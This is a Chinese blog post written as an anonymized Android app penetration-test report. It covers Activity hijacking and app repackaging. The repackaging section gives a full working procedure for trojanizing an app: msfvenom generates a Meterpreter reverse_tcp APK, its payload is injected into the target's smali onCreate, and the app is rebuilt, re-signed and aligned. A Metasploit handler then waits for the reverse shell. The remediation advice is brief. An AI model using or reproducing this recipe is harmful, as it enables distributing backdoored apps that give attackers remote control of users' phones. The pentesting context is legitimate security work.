酷帥王子'blog-

原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

2022-6-8 20:25 作者:酷帥王子 | 移动端安全 |

文档编号:               

 

 

 

 

 

某某某APP渗透测试

 

 

 

 

技 术 报 告

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

二〇二〇年




1 概述

1.2测试时间

渗透测试时间

起始时间

202046

结束时间

202049

1.3测试对象

此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:

1-1 检测对象

序号

测试对象

测试地址

安全漏洞

1

某某某安卓APP

 

2

1.4测试结果

在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:

 

序号

系统名称

漏洞名称

漏洞危害

修复结果

1

某某某某某某APP

Activity 劫持

 

 

2

某某某某某某APP

反编译二次打包捆绑木马、篡改APP代码

 

 

1-2 测试结果

 

2 检测结果                   

2.1 某某某

2.1.1检测目标

目标地址: 某某某某某某APP

2.1.2检测结果

2.1.2.1

漏洞链接地址:某某某某某某APP

 

漏洞分析及取证:

                 通过androidkiiler反编译,发现app未进行安全加固, Activity com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:

    

                     

漏洞危害:高

严重程度

 

 

 

修复方法:在 APP Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。

         

 

2.1.2.2

漏洞链接地址:某某某某某某APP

漏洞分析及取证:

                 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下:

Metasploit 生成木马 apk

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk

反编译目标apk和木马apk

apktool d target.apk
apktool d cockhorse.apk

木马 apk 注入目标 apk

在目标 apk 反编译生成的文件中找到启动 Activity smali 文件,并在 onCreate()方法中添加如下代码:
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复

将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/

回编译生成最终 apk

重新打包

apktool b -o repackage.apk target_app_floder

创建签名文件,有的话可忽略此步骤

keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000               

签名,以下任选其一

jarsigner 方式

jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname

apksigner 方式

apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk

如需要禁用 v2签名 添加选项--v2-signing-enabled false

验证,以下任选其一

jarsigner方式

jarsigner -verify repackaged.apk

apksigner 方式

apksigner verify -v --print-certs repackaged.apk

keytool方式

keytool -printcert -jarfile repackaged.apk

对齐

字节对齐优化

zipalign -v 4 repackaged.apk final.apk

检查是否对齐

zipalign -c -v 4 final.apk

注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行

启动Metasploit控制台,配置参数等待上线

在终端依次输入如下命令

msfconsole

use exploit/multi/handler

set PAYLOAD android/meterpreter/reverse_tcp

set LHOST 192.xxx.xx.xx

set LPORT 4444

exploit

之前我们把入口放在 MainActivity onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:              

漏洞危害:中

严重程度

 

 

 

修复方法:

              1. APP 启动时应做签名校验防止二次打包。
2.
建议采用客户端、通信和服务器端联动防御方案进行安全防御。

 

文章作者:酷帥王子
文章地址:https://www.2k8.org:443/post-366.html
版权所有 © 转载时必须以链接形式注明作者和原始出处!

发表评论:



Powered by 酷帥王子

CopyRight © 2009-2016 酷帥王子'blog.  All rights reserved.